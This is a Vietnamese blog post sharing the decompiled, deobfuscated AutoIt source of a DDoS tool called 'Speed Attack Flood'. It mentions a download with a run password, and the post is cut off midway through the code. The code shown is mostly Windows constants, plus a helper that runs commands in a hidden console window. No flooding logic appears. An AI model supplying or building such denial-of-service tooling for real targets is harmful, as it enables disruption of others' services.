Đây là mã nguồn chương trình Speed Attack Flood Version 1.0 của DuyKhang-MZG.
Link download chương trình gốc: [Download] (pass chạy tool : dnduykhang-mzg@1234!@#$)
Đi vào phân tích thử chương trình thì thấy chương trình này được pack bằng UPX 0.89.6 – 1.02 / 1.05 – 2.90 -> Markus & Laszlo
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Tiếp tục unpack xem:
Thì đây là 1 chương trình được viết bằng autoit:
Sau khi Decompile thì được source đã qua giai đoạn làm rối mã bằng obfuscated nhưng obfuscated thì không tốn nhiều thời gian để đưa trở lại bình thường tí nào!!
giờ chia sẻ source này cho các bạn yêu thích lập trình tham khảo thêm về cách mà người ta code tool ddos như thế nào nhé.
Code:
#Region #AutoIt3Wrapper_Icon=..\..\..\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico #AutoIt3Wrapper_OutFile=DDoS.exe #AutoIt3Wrapper_UseUpx=n #AutoIt3Wrapper_Res_Comment=Simple DDoS #AutoIt3Wrapper_Res_Description=Simple DDoS #AutoIt3Wrapper_Res_Fileversion=1.0 #AutoIt3Wrapper_Res_LegalCopyright=Simple DDoS #AutoIt3Wrapper_Run_Tidy=y #AutoIt3Wrapper_Run_Obfuscator=y #EndRegion Global Const $process_terminate = 1 Global Const $process_create_thread = 2 Global Const $process_set_sessionid = 4 Global Const $process_vm_operation = 8 Global Const $process_vm_read = 16 Global Const $process_vm_write = 32 Global Const $process_dup_handle = 64 Global Const $process_create_process = 128 Global Const $process_set_quota = 256 Global Const $process_set_information = 512 Global Const $process_query_information = 1024 Global Const $process_suspend_resume = 2048 Global Const $process_all_access = 2035711 Func _processgetname($i_pid) If NOT ProcessExists($i_pid) Then Return SetError(1, 0, "") If NOT @error Then Local $a_processes = ProcessList() For $i = 1 To $a_processes[0][0] If $a_processes[$i][1] = $i_pid Then Return $a_processes[$i][0] Next EndIf Return SetError(1, 0, "") EndFunc Func _processgetpriority($vprocess) Local $ierror, $iextended, $ireturn = -1 Local $i_pid = ProcessExists($vprocess) If NOT $i_pid Then Return SetError(1, 0, -1) Local $hdll = DllOpen("kernel32.dll") Do Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid) If @error Then $ierror = @error $iextended = @extended ExitLoop EndIf If NOT $aprocesshandle[0] Then ExitLoop Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0]) If @error Then $ierror = @error $iextended = @extended EndIf DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0]) If $ierror Then ExitLoop Switch $apriority[0] Case 64 $ireturn = 0 Case 16384 $ireturn = 1 Case 32 $ireturn = 2 Case 32768 $ireturn = 3 Case 128 $ireturn = 4 Case 256 $ireturn = 5 Case Else $ierror = 1 $iextended = $apriority[0] $ireturn = -1 EndSwitch Until True DllClose($hdll) Return SetError($ierror, $iextended, $ireturn) EndFunc Func _rundos($scommand) Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE) Return SetError(@error, @extended, $nresult) EndFunc Global Const $ws_tiled = 0 Global Const $ws_overlapped = 0 Global Const $ws_maximizebox = 65536 Global Const $ws_minimizebox = 131072 Global Const $ws_tabstop = 65536 Global Const $ws_group = 131072 Global Const $ws_sizebox = 262144 Global Const $ws_thickframe = 262144 Global Const $ws_sysmenu = 524288 Global Const $ws_hscroll = 1048576 Global Const $ws_vscroll = 2097152 Global Const $ws_dlgframe = 4194304 Global Const $ws_border = 8388608 Global Const $ws_caption = 12582912 Global Const $ws_overlappedwindow = 13565952 Global Const $ws_tiledwindow = 13565952 Global Const $ws_maximize = 16777216 Global Const $ws_clipchildren = 33554432 Global Const $ws_clipsiblings = 67108864 Global Const $ws_disabled = 134217728 Global Const $ws_visible = 268435456 Global Const $ws_minimize = 536870912 Global Const $ws_child = 1073741824 Global Const $ws_popup = -2147483648 Global Const $ws_popupwindow = -2138570752 Global Const $ds_modalframe = 128 Global Const $ds_setforeground = 512 Global Const $ds_contexthelp = 8192 Global Const $ws_ex_acceptfiles = 16 Global Const $ws_ex_mdichild = 64 Global Const $ws_ex_appwindow = 262144 Global Const $ws_ex_composited = 33554432 Global Const $ws_ex_clientedge = 512 Global Const $ws_ex_contexthelp = 1024 Global Const $ws_ex_dlgmodalframe = 1 Global Const $ws_ex_leftscrollbar = 16384 Global Const $ws_ex_overlappedwindow = 768 Global Const $ws_ex_right = 4096 Global Const $ws_ex_staticedge = 131072 Global Const $ws_ex_toolwindow = 128 Global Const $ws_ex_topmost = 8 Global Const $ws_ex_transparent = 32 Global Const $ws_ex_windowedge = 256 Global Const $ws_ex_layered = 524288 Global Const $ws_ex_controlparent = 65536 Global Const $ws_ex_layoutrtl = 4194304 Global Const $ws_ex_rtlreading = 8192 Global Const $wm_gettextlength = 14 Global Const $wm_gettext = 13 Global Const $wm_size = 5 Global Const $wm_sizing = 532 Global Const $wm_user = 1024 Global Const $wm_create = 1 Global Const $wm_destroy = 2 Global Const $wm_move = 3 Global Const $wm_activate = 6 Global Const $wm_setfocus = 7 Global Const $wm_killfocus = 8 Global Const $wm_enable = 10 Global Const $wm_setredraw = 11 Global Const $wm_settext = 12 Global Const $wm_paint = 15 Global Const $wm_close = 16 Global Const $wm_queryendsession = 17 Global Const $wm_quit = 18 Global Const $wm_erasebkgnd = 20 Global Const $wm_queryopen = 19 Global Const $wm_syscolorchange = 21 Global Const $wm_endsession = 22 Global Const $wm_showwindow = 24 Global Const $wm_settingchange = 26 Global Const $wm_wininichange = 26 Global Const $wm_devmodechange = 27 Global Const $wm_activateapp = 28 Global Const $wm_fontchange = 29 Global Const $wm_timechange = 30 Global Const $wm_cancelmode = 31 Global Const $wm_ime_startcomposition = 269 Global Const $wm_ime_endcomposition = 270 Global Const $wm_ime_composition = 271 Global Const $wm_ime_keylast = 271 Global Const $wm_setcursor = 32 Global Const $wm_mouseactivate = 33 Global Const $wm_childactivate = 34 Global Const $wm_queuesync = 35 Global Const $wm_getminmaxinfo = 36 Global Const $wm_painticon = 38 Global Const $wm_iconerasebkgnd = 39 Global Const $wm_nextdlgctl = 40 Global Const $wm_spoolerstatus = 42 Global Const $wm_drawitem = 43 Global Const $wm_measureitem = 44 Global Const $wm_deleteitem = 45 Global Const $wm_vkeytoitem = 46 Global Const $wm_chartoitem = 47 Global Const $wm_setfont = 48 Global Const $wm_getfont = 49 Global Const $wm_sethotkey = 50 Global Const $wm_gethotkey = 51 Global Const $wm_querydragicon = 55 Global Const $wm_compareitem = 57 Global Const $wm_getobject = 61 Global Const $wm_compacting = 65 Global Const $wm_commnotify = 68 Global Const $wm_windowposchanging = 70 Global Const $wm_windowposchanged = 71 Global Const $wm_power = 72 Global Const $wm_notify = 78 Global Const $wm_copydata = 74 Global Const $wm_canceljournal = 75 Global Const $wm_inputlangchangerequest = 80 Global Const $wm_inputlangchange = 81 Global Const $wm_tcard = 82 Global Const $wm_help = 83 Global Const $wm_userchanged = 84 Global Const $wm_notifyformat = 85 Global Const $wm_parentnotify = 528 Global Const $wm_entermenuloop = 529 Global Const $wm_exitmenuloop = 530 Global Const $wm_nextmenu = 531 Global Const $wm_capturechanged = 533 Global Const $wm_moving = 534 Global Const $wm_powerbroadcast = 536 Global Const $wm_devicechange = 537 Global Const $wm_mdicreate = 544 Global Const $wm_mdidestroy = 545 Global Const $wm_mdiactivate = 546 Global Const $wm_mdirestore = 547 Global Const $wm_mdinext = 548 Global Const $wm_mdimaximize = 549 Global Const $wm_mditile = 550 Global Const $wm_mdicascade = 551 Global Const $wm_mdiiconarrange = 552 Global Const $wm_mdigetactive = 553 Global Const $wm_mdisetmenu = 560 Global Const $wm_entersizemove = 561 Global Const $wm_exitsizemove = 562 Global Const $wm_dropfiles = 563 Global Const $wm_mdirefreshmenu = 564 Global Const $wm_ime_setcontext = 641 Global Const $wm_ime_notify = 642 Global Const $wm_ime_control = 643 Global Const $wm_ime_compositionfull = 644 Global Const $wm_ime_select = 645 Global Const $wm_ime_char = 646 Global Const $wm_ime_request = 648 Global Const $wm_ime_keydown = 656 Global Const $wm_ime_keyup = 657 Global Const $wm_ncmousehover = 672 Global Const $wm_mousehover = 673 Global Const $wm_ncmouseleave = 674 Global Const $wm_mouseleave = 675 Global Const $wm_wtssession_change = 689 Global Const $wm_tablet_first = 704 Global Const $wm_tablet_last = 735 Global Const $wm_cut = 768 Global Const $wm_copy = 769 Global Const $wm_paste = 770 Global Const $wm_clear = 771 Global Const $wm_undo = 772 Global Const $wm_paletteischanging = 784 Global Const $wm_hotkey = 786 Global Const $wm_palettechanged = 785 Global Const $wm_print = 791 Global Const $wm_printclient = 792 Global Const $wm_appcommand = 793 Global Const $wm_querynewpalette = 783 Global Const $wm_themechanged = 794 Global Const $wm_handheldfirst = 856 Global Const $wm_handheldlast = 863 Global Const $wm_afxfirst = 864 Global Const $wm_afxlast = 895 Global Const $wm_penwinfirst = 896 Global Const $wm_penwinlast = 911 Global Const $wm_contextmenu = 123 Global Const $wm_stylechanging = 124 Global Const $wm_stylechanged = 125 Global Const $wm_displaychange = 126 Global Const $wm_geticon = 127 Global Const $wm_seticon = 128 Global Const $wm_nccreate = 129 Global Const $wm_ncdestroy = 130 Global Const $wm_nccalcsize = 131 Global Const $wm_nchittest = 132 Global Const $wm_ncpaint = 133 Global Const $wm_ncactivate = 134 Global Const $wm_getdlgcode = 135 Global Const $wm_syncpaint = 136 Global Const $wm_ncmousemove = 160 Global Const $wm_nclbuttondown = 161 Global Const $wm_nclbuttonup = 162 Global Const $wm_nclbuttondblclk = 163 Global Const $wm_ncrbuttondown = 164 Global Const $wm_ncrbuttonup = 165 Global Const $wm_ncrbuttondblclk = 166 Global Const $wm_ncmbuttondown = 167 Global Const $wm_ncmbuttonup = 168 Global Const $wm_ncmbuttondblclk = 169 Global Const $wm_ncxbuttondown = 171 Global Const $wm_ncxbuttonup = 172 Global Const $wm_ncxbuttondblclk = 173 Global Const $wm_keydown = 256 Global Const $wm_keyfirst = 256 Global Const $wm_keyup = 257 Global Const $wm_char = 258 Global Const $wm_deadchar = 259 Global Const $wm_syskeydown = 260 Global Const $wm_syskeyup = 261 Global Const $wm_syschar = 262 Global Const $wm_sysdeadchar = 263 Global Const $wm_keylast = 265 Global Const $wm_unichar = 265 Global Const $wm_initdialog = 272 Global Const $wm_command = 273 Global Const $wm_syscommand = 274 Global Const $wm_timer = 275 Global Const $wm_hscroll = 276 Global Const $wm_vscroll = 277 Global Const $wm_initmenu = 278 Global Const $wm_initmenupopup = 279 Global Const $wm_menuselect = 287 Global Const $wm_menuchar = 288 Global Const $wm_enteridle = 289 Global Const $wm_menurbuttonup = 290 Global Const $wm_menudrag = 291 Global Const $wm_menugetobject = 292 Global Const $wm_uninitmenupopup = 293 Global Const $wm_menucommand = 294 Global Const $wm_changeuistate = 295 Global Const $wm_updateuistate = 296 Global Const $wm_queryuistate = 297 Global Const $wm_ctlcolormsgbox = 306 Global Const $wm_ctlcoloredit = 307 Global Const $wm_ctlcolorlistbox = 308 Global Const $wm_ctlcolorbtn = 309 Global Const $wm_ctlcolordlg = 310 Global Const $wm_ctlcolorscrollbar = 311 Global Const $wm_ctlcolorstatic = 312 Global Const $wm_ctlcolor = 25 Global Const $mn_gethmenu = 481 Global Const $wm_app = 32768 Global Const $nm_first = 0 Global Const $nm_outofmemory = $nm_first - 1 Global Const $nm_click = $nm_first - 2 Global Const $nm_dblclk = $nm_first - 3 Global Const $nm_return = $nm_first - 4 Global Const $nm_rclick = $nm_first - 5 Global Const $nm_rdblclk = $nm_first - 6 Global Const $nm_setfocus = $nm_first - 7 Global Const $nm_killfocus = $nm_first - 8 Global Const $nm_customdraw = $nm_first - 12 Global Const $nm_hover = $nm_first - 13 Global Const $nm_nchittest = $nm_first - 14 Global Const $nm_keydown = $nm_first - 15 Global Const $nm_releasedcapture = $nm_first - 16 Global Const $nm_setcursor = $nm_first - 17 Global Const $nm_char = $nm_first - 18 Global Const $nm_tooltipscreated = $nm_first - 19 Global Const $nm_ldown = $nm_first - 20 Global Const $nm_rdown = $nm_first - 21 Global Const $nm_themechanged = $nm_first - 22 Global Const $wm_mousefirst = 512 Global Const $wm_mousemove = 512 Global Const $wm_lbuttondown = 513 Global Const $wm_lbuttonup = 514 Global Const $wm_lbuttondblclk = 515 Global Const $wm_rbuttondown = 516 Global Const $wm_rbuttonup = 517 Global Const $wm_rbuttondblclk = 518 Global Const $wm_mbuttondown = 519 Global Const $wm_mbuttonup = 520 Global Const $wm_mbuttondblclk = 521 Global Const $wm_mousewheel = 522 Global Const $wm_xbuttondown = 523 Global Const $wm_xbuttonup = 524 Global Const $wm_xbuttondblclk = 525 Global Const $wm_mousehwheel = 526 Global Const $ps_solid = 0 Global Const $ps_dash = 1 Global Const $ps_dot = 2 Global Const $ps_dashdot = 3 Global Const $ps_dashdotdot = 4 Global Const $ps_null = 5 Global Const $ps_insideframe = 6 Global Const $lwa_alpha = 2 Global Const $lwa_colorkey = 1 Global Const $rgn_and = 1 Global Const $rgn_or = 2 Global Const $rgn_xor = 3 Global Const $rgn_diff = 4 Global Const $rgn_copy = 5 Global Const $errorregion = 0 Global Const $nullregion = 1 Global Const $simpleregion = 2 Global Const $complexregion = 3 Global Const $transparent = 1 Global Const $opaque = 2 Global Const $ccm_first = 8192 Global Const $ccm_getunicodeformat = ($ccm_first + 6) Global Const $ccm_setunicodeformat = ($ccm_first + 5) Global Const $ccm_setbkcolor = $ccm_first + 1 Global Const $ccm_setcolorscheme = $ccm_first + 2 Global Const $ccm_getcolorscheme = $ccm_first + 3 Global Const $ccm_getdroptarget = $ccm_first + 4 Global Const $ccm_setwindowtheme = $ccm_first + 11 Global Const $ga_parent = 1 Global Const $ga_root = 2 Global Const $ga_rootowner = 3 Global Const $sm_cxscreen = 0 Global Const $sm_cyscreen = 1 Global Const $sm_cxvscroll = 2 Global Const $sm_cyhscroll = 3 Global Const $sm_cycaption = 4 Global Const $sm_cxborder = 5 Global Const $sm_cyborder = 6 Global Const $sm_cxdlgframe = 7 Global Const $sm_cydlgframe = 8 Global Const $sm_cyvthumb = 9 Global Const $sm_cxhthumb = 10 Global Const $sm_cxicon = 11 Global Const $sm_cyicon = 12 Global Const $sm_cxcursor = 13 Global Const $sm_cycursor = 14 Global Const $sm_cymenu = 15 Global Const $sm_cxfullscreen = 16 Global Const $sm_cyfullscreen = 17 Global Const $sm_cykanjiwindow = 18 Global Const $sm_mousepresent = 19 Global Const $sm_cyvscroll = 20 Global Const $sm_cxhscroll = 21 Global Const $sm_debug = 22 Global Const $sm_swapbutton = 23 Global Const $sm_reserved1 = 24 Global Const $sm_reserved2 = 25 Global Const $sm_reserved3 = 26 Global Const $sm_reserved4 = 27 Global Const $sm_cxmin = 28 Global Const $sm_cymin = 29 Global Const $sm_cxsize = 30 Global Const $sm_cysize = 31 Global Const $sm_cxframe = 32 Global Const $sm_cyframe = 33 Global Const $sm_cxmintrack = 34 Global Const $sm_cymintrack = 35 Global Const $sm_cxdoubleclk = 36 Global Const $sm_cydoubleclk = 37 Global Const $sm_cxiconspacing = 38 Global Const $sm_cyiconspacing = 39 Global Const $sm_menudropalignment = 40 Global Const $sm_penwindows = 41 Global Const $sm_dbcsenabled = 42 Global Const $sm_cmousebuttons = 43 Global Const $sm_secure = 44 Global Const $sm_cxedge = 45 Global Const $sm_cyedge = 46 Global Const $sm_cxminspacing = 47 Global Const $sm_cyminspacing = 48 Global Const $sm_cxsmicon = 49 Global Const $sm_cysmicon = 50 Global Const $sm_cysmcaption = 51 Global Const $sm_cxsmsize = 52 Global Const $sm_cysmsize = 53 Global Const $sm_cxmenusize = 54 Global Const $sm_cymenusize = 55 Global Const $sm_arrange = 56 Global Const $sm_cxminimized = 57 Global Const $sm_cyminimized = 58 Global Const $sm_cxmaxtrack = 59 Global Const $sm_cymaxtrack = 60 Global Const $sm_cxmaximized = 61 Global Const $sm_cymaximized = 62 Global Const $sm_network = 63 Global Const $sm_cleanboot = 67 Global Const $sm_cxdrag = 68 Global Const $sm_cydrag = 69 Global Const $sm_showsounds = 70 Global Const $sm_cxmenucheck = 71 Global Const $sm_cymenucheck = 72 Global Const $sm_slowmachine = 73 Global Const $sm_mideastenabled = 74 Global Const $sm_mousewheelpresent = 75 Global Const $sm_xvirtualscreen = 76 Global Const $sm_yvirtualscreen = 77 Global Const $sm_cxvirtualscreen = 78 Global Const $sm_cyvirtualscreen = 79 Global Const $sm_cmonitors = 80 Global Const $sm_samedisplayformat = 81 Global Const $sm_immenabled = 82 Global Const $sm_cxfocusborder = 83 Global Const $sm_cyfocusborder = 84 Global Const $sm_tabletpc = 86 Global Const $sm_mediacenter = 87 Global Const $sm_starter = 88 Global Const $sm_serverr2 = 89 Global Const $sm_cmetrics = 90 Global Const $sm_remotesession = 4096 Global Const $sm_shuttingdown = 8192 Global Const $sm_remotecontrol = 8193 Global Const $sm_caretblinkingenabled = 8194 Global Const $blackness = 66 Global Const $captureblt = 1073741824 Global Const $dstinvert = 5570569 Global Const $mergecopy = 12583114 Global Const $mergepaint = 12255782 Global Const $nomirrorbitmap = -2147483648 Global Const $notsrccopy = 3342344 Global Const $notsrcerase = 1114278 Global Const $patcopy = 15728673 Global Const $patinvert = 5898313 Global Const $patpaint = 16452105 Global Const $srcand = 8913094 Global Const $srccopy = 13369376 Global Const $srcerase = 4457256 Global Const $srcinvert = 6684742 Global Const $srcpaint = 15597702 Global Const $whiteness = 16711778 Global Const $dt_bottom = 8 Global Const $dt_calcrect = 1024 Global Const $dt_center = 1 Global Const $dt_editcontrol = 8192 Global Const $dt_end_ellipsis = 32768 Global Const $dt_expandtabs = 64 Global Const $dt_externalleading = 512 Global Const $dt_hideprefix = 1048576 Global Const $dt_internal = 4096 Global Const $dt_left = 0 Global Const $dt_modifystring = 65536 Global Const $dt_noclip = 256 Global Const $dt_nofullwidthcharbreak = 524288 Global Const $dt_noprefix = 2048 Global Const $dt_path_ellipsis = 16384 Global Const $dt_prefixonly = 2097152 Global Const $dt_right = 2 Global Const $dt_rtlreading = 131072 Global Const $dt_singleline = 32 Global Const $dt_tabstop = 128 Global Const $dt_top = 0 Global Const $dt_vcenter = 4 Global Const $dt_wordbreak = 16 Global Const $dt_word_ellipsis = 262144 Global Const $rdw_erase = 4 Global Const $rdw_frame = 1024 Global Const $rdw_internalpaint = 2 Global Const $rdw_invalidate = 1 Global Const $rdw_noerase = 32 Global Const $rdw_noframe = 2048 Global Const $rdw_nointernalpaint = 16 Global Const $rdw_validate = 8 Global Const $rdw_erasenow = 512 Global Const $rdw_updatenow = 256 Global Const $rdw_allchildren = 128 Global Const $rdw_nochildren = 64 Global Const $wm_renderformat = 773 Global Const $wm_renderallformats = 774 Global Const $wm_destroyclipboard = 775 Global Const $wm_drawclipboard = 776 Global Const $wm_paintclipboard = 777 Global Const $wm_vscrollclipboard = 778 Global Const $wm_sizeclipboard = 779 Global Const $wm_askcbformatname = 780 Global Const $wm_changecbchain = 781 Global Const $wm_hscrollclipboard = 782 Global Const $hterror = -2 Global Const $httransparent = -1 Global Const $htnowhere = 0 Global Const $htclient = 1 Global Const $htcaption = 2 Global Const $htsysmenu = 3 Global Const $htgrowbox = 4 Global Const $htsize = $htgrowbox Global Const $htmenu = 5 Global Const $hthscroll = 6 Global Const $htvscroll = 7 Global Const $htminbutton = 8 Global Const $htmaxbutton = 9 Global Const $htleft = 10 Global Const $htright = 11 Global Const $httop = 12 Global Const $httopleft = 13 Global Const $httopright = 14 Global Const $htbottom = 15 Global Const $htbottomleft = 16 Global Const $htbottomright = 17 Global Const $htborder = 18 Global Const $htreduce = $htminbutton Global Const $htzoom = $htmaxbutton Global Const $htsizefirst = $htleft Global Const $htsizelast = $htbottomright Global Const $htobject = 19 Global Const $htclose = 20 Global Const $hthelp = 21 Global Const $color_scrollbar = 0 Global Const $color_background = 1 Global Const $color_activecaption = 2 Global Const $color_inactivecaption = 3 Global Const $color_menu = 4 Global Const $color_window = 5 Global Const $color_windowframe = 6 Global Const $color_menutext = 7 Global Const $color_windowtext = 8 Global Const $color_captiontext = 9 Global Const $color_activeborder = 10 Global Const $color_inactiveborder = 11 Global Const $color_appworkspace = 12 Global Const $color_highlight = 13 Global Const $color_highlighttext = 14 Global Const $color_btnface = 15 Global Const $color_btnshadow = 16 Global Const $color_graytext = 17 Global Const $color_btntext = 18 Global Const $color_inactivecaptiontext = 19 Global Const $color_btnhighlight = 20 Global Const $color_3ddkshadow = 21 Global Const $color_3dlight = 22 Global Const $color_infotext = 23 Global Const $color_infobk = 24 Global Const $color_hotlight = 26 Global Const $color_gradientactivecaption = 27 Global Const $color_gradientinactivecaption = 28 Global Const $color_menuhilight = 29 Global Const $color_menubar = 30 Global Const $color_desktop = 1 Global Const $color_3dface = 15 Global Const $color_3dshadow = 16 Global Const $color_3dhighlight = 20 Global Const $color_3dhilight = 20 Global Const $color_btnhilight = 20 Global Const $hinst_commctrl = -1 Global Const $idb_std_small_color = 0 Global Const $idb_std_large_color = 1 Global Const $idb_view_small_color = 4 Global Const $idb_view_large_color = 5 Global Const $idb_hist_small_color = 8 Global Const $idb_hist_large_color = 9 Global Const $startf_forceofffeedback = 128 Global Const $startf_forceonfeedback = 64 Global Const $startf_runfullscreen = 32 Global Const $startf_usecountchars = 8 Global Const $startf_usefillattribute = 16 Global Const $startf_usehotkey = 512 Global Const $startf_useposition = 4 Global Const $startf_useshowwindow = 1 Global Const $startf_usesize = 2 Global Const $startf_usestdhandles = 256 Global Const $cdds_prepaint = 1 Global Const $cdds_postpaint = 2 Global Const $cdds_preerase = 3 Global Const $cdds_posterase = 4 Global Const $cdds_item = 65536 Global Const $cdds_itemprepaint = 65537 Global Const $cdds_itempostpaint = 65538 Global Const $cdds_itempreerase = 65539 Global Const $cdds_itemposterase = 65540 Global Const $cdds_subitem = 131072 Global Const $cdis_selected = 1 Global Const $cdis_grayed = 2 Global Const $cdis_disabled = 4 Global Const $cdis_checked = 8 Global Const $cdis_focus = 16 Global Const $cdis_default = 32 Global Const $cdis_hot = 64 Global Const $cdis_marked = 128 Global Const $cdis_indeterminate = 256 Global Const $cdis_showkeyboardcues = 512 Global Const $cdis_nearhot = 1024 Global Const $cdis_othersidehot = 2048 Global Const $cdis_drophilited = 4096 Global Const $cdrf_dodefault = 0 Global Const $cdrf_newfont = 2 Global Const $cdrf_skipdefault = 4 Global Const $cdrf_notifypostpaint = 16 Global Const $cdrf_notifyitemdraw = 32 Global Const $cdrf_notifysubitemdraw = 32 Global Const $cdrf_notifyposterase = 64 Global Const $cdrf_doerase = 8 Global Const $cdrf_skippostpaint = 256 Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu) Global Const $gui_event_close = -3 Global Const $gui_event_minimize = -4 Global Const $gui_event_restore = -5 Global Const $gui_event_maximize = -6 Global Const $gui_event_primarydown = -7 Global Const $gui_event_primaryup = -8 Global Const $gui_event_secondarydown = -9 Global Const $gui_event_secondaryup = -10 Global Const $gui_event_mousemove = -11 Global Const $gui_event_resized = -12 Global Const $gui_event_dropped = -13 Global Const $gui_rundefmsg = "GUI_RUNDEFMSG" Global Const $gui_avistop = 0 Global Const $gui_avistart = 1 Global Const $gui_aviclose = 2 Global Const $gui_checked = 1 Global Const $gui_indeterminate = 2 Global Const $gui_unchecked = 4 Global Const $gui_dropaccepted = 8 Global Const $gui_nodropaccepted = 4096 Global Const $gui_acceptfiles = $gui_dropaccepted Global Const $gui_show = 16 Global Const $gui_hide = 32 Global Const $gui_enable = 64 Global Const $gui_disable = 128 Global Const $gui_focus = 256 Global Const $gui_nofocus = 8192 Global Const $gui_defbutton = 512 Global Const $gui_expand = 1024 Global Const $gui_ontop = 2048 Global Const $gui_fontitalic = 2 Global Const $gui_fontunder = 4 Global Const $gui_fontstrike = 8 Global Const $gui_dockauto = 1 Global Const $gui_dockleft = 2 Global Const $gui_dockright = 4 Global Const $gui_dockhcenter = 8 Global Const $gui_docktop = 32 Global Const $gui_dockbottom = 64 Global Const $gui_dockvcenter = 128 Global Const $gui_dockwidth = 256 Global Const $gui_dockheight = 512 Global Const $gui_docksize = 768 Global Const $gui_dockmenubar = 544 Global Const $gui_dockstatebar = 576 Global Const $gui_dockall = 802 Global Const $gui_dockborders = 102 Global Const $gui_gr_close = 1 Global Const $gui_gr_line = 2 Global Const $gui_gr_bezier = 4 Global Const $gui_gr_move = 6 Global Const $gui_gr_color = 8 Global Const $gui_gr_rect = 10 Global Const $gui_gr_ellipse = 12 Global Const $gui_gr_pie = 14 Global Const $gui_gr_dot = 16 Global Const $gui_gr_pixel = 18 Global Const $gui_gr_hint = 20 Global Const $gui_gr_refresh = 22 Global Const $gui_gr_pensize = 24 Global Const $gui_gr_nobkcolor = -2 Global Const $gui_bkcolor_default = -1 Global Const $gui_bkcolor_transparent = -2 Global Const $gui_bkcolor_lv_alternate = -33554432 Global Const $gui_ws_ex_parentdrag = 1048576 Global Const $cb_err = -1 Global Const $cb_errattribute = -3 Global Const $cb_errrequired = -4 Global Const $cb_errspace = -2 Global Const $cb_okay = 0 Global Const $state_system_invisible = 32768 Global Const $state_system_pressed = 8 Global Const $cbs_autohscroll = 64 Global Const $cbs_disablenoscroll = 2048 Global Const $cbs_dropdown = 2 Global Const $cbs_dropdownlist = 3 Global Const $cbs_hasstrings = 512 Global Const $cbs_lowercase = 16384 Global Const $cbs_nointegralheight = 1024 Global Const $cbs_oemconvert = 128 Global Const $cbs_ownerdrawfixed = 16 Global Const $cbs_ownerdrawvariable = 32 Global Const $cbs_simple = 1 Global Const $cbs_sort = 256 Global Const $cbs_uppercase = 8192 Global Const $cbm_first = 5888 Global Const $cb_addstring = 323 Global Const $cb_deletestring = 324 Global Const $cb_dir = 325 Global Const $cb_findstring = 332 Global Const $cb_findstringexact = 344 Global Const $cb_getcomboboxinfo = 356 Global Const $cb_getcount = 326 Global Const $cb_getcuebanner = ($cbm_first + 4) Global Const $cb_getcursel = 327 Global Const $cb_getdroppedcontrolrect = 338 Global Const $cb_getdroppedstate = 343 Global Const $cb_getdroppedwidth = 351 Global Const $cb_geteditsel = 320 Global Const $cb_getextendedui = 342 Global Const $cb_gethorizontalextent = 349 Global Const $cb_getitemdata = 336 Global Const $cb_getitemheight = 340 Global Const $cb_getlbtext = 328 Global Const $cb_getlbtextlen = 329 Global Const $cb_getlocale = 346 Global Const $cb_getminvisible = 5890 Global Const $cb_gettopindex = 347 Global Const $cb_initstorage = 353 Global Const $cb_limittext = 321 Global Const $cb_resetcontent = 331 Global Const $cb_insertstring = 330 Global Const $cb_selectstring = 333 Global Const $cb_setcuebanner = ($cbm_first + 3) Global Const $cb_setcursel = 334 Global Const $cb_setdroppedwidth = 352 Global Const $cb_seteditsel = 322 Global Const $cb_setextendedui = 341 Global Const $cb_sethorizontalextent = 350 Global Const $cb_setitemdata = 337 Global Const $cb_setitemheight = 339 Global Const $cb_setlocale = 345 Global Const $cb_setminvisible = 5889 Global Const $cb_settopindex = 348 Global Const $cb_showdropdown = 335 Global Const $cbn_closeup = 8 Global Const $cbn_dblclk = 2 Global Const $cbn_dropdown = 7 Global Const $cbn_editchange = 5 Global Const $cbn_editupdate = 6 Global Const $cbn_errspace = (-1) Global Const $cbn_killfocus = 4 Global Const $cbn_selchange = 1 Global Const $cbn_selendcancel = 10 Global Const $cbn_selendok = 9 Global Const $cbn_setfocus = 3 Global Const $cbes_ex_casesensitive = 16 Global Const $cbes_ex_noeditimage = 1 Global Const $cbes_ex_noeditimageindent = 2 Global Const $cbes_ex_nosizelimit = 8 Global Const $__comboboxconstant_wm_user = 1024 Global Const $cbem_deleteitem = $cb_deletestring Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6) Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7) Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9) Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9) Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3) Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4) Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13) Global Const $cbem_getunicodeformat = 8192 + 6 Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10) Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1) Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11) Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8) Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14) Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2) Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5) Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12) Global Const $cbem_setunicodeformat = 8192 + 5 Global Const $cbem_setwindowtheme = 8192 + 11 Global Const $cben_first = (-800) Global Const $cben_last = (-830) Global Const $cben_beginedit = ($cben_first - 4) Global Const $cben_deleteitem = ($cben_first - 2) Global Const $cben_dragbegina = ($cben_first - 8) Global Const $cben_dragbeginw = ($cben_first - 9) Global Const $cben_endedita = ($cben_first - 5) Global Const $cben_endeditw = ($cben_first - 6) Global Const $cben_getdispinfo = ($cben_first - 0) Global Const $cben_getdispinfoa = ($cben_first - 0) Global Const $cben_getdispinfow = ($cben_first - 7) Global Const $cben_insertitem = ($cben_first - 1) Global Const $cbeif_di_setitem = 268435456 Global Const $cbeif_image = 2 Global Const $cbeif_indent = 16 Global Const $cbeif_lparam = 32 Global Const $cbeif_overlay = 8 Global Const $cbeif_selectedimage = 4 Global Const $cbeif_text = 1 Global Const $__comboboxconstant_ws_vscroll = 2097152 Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, 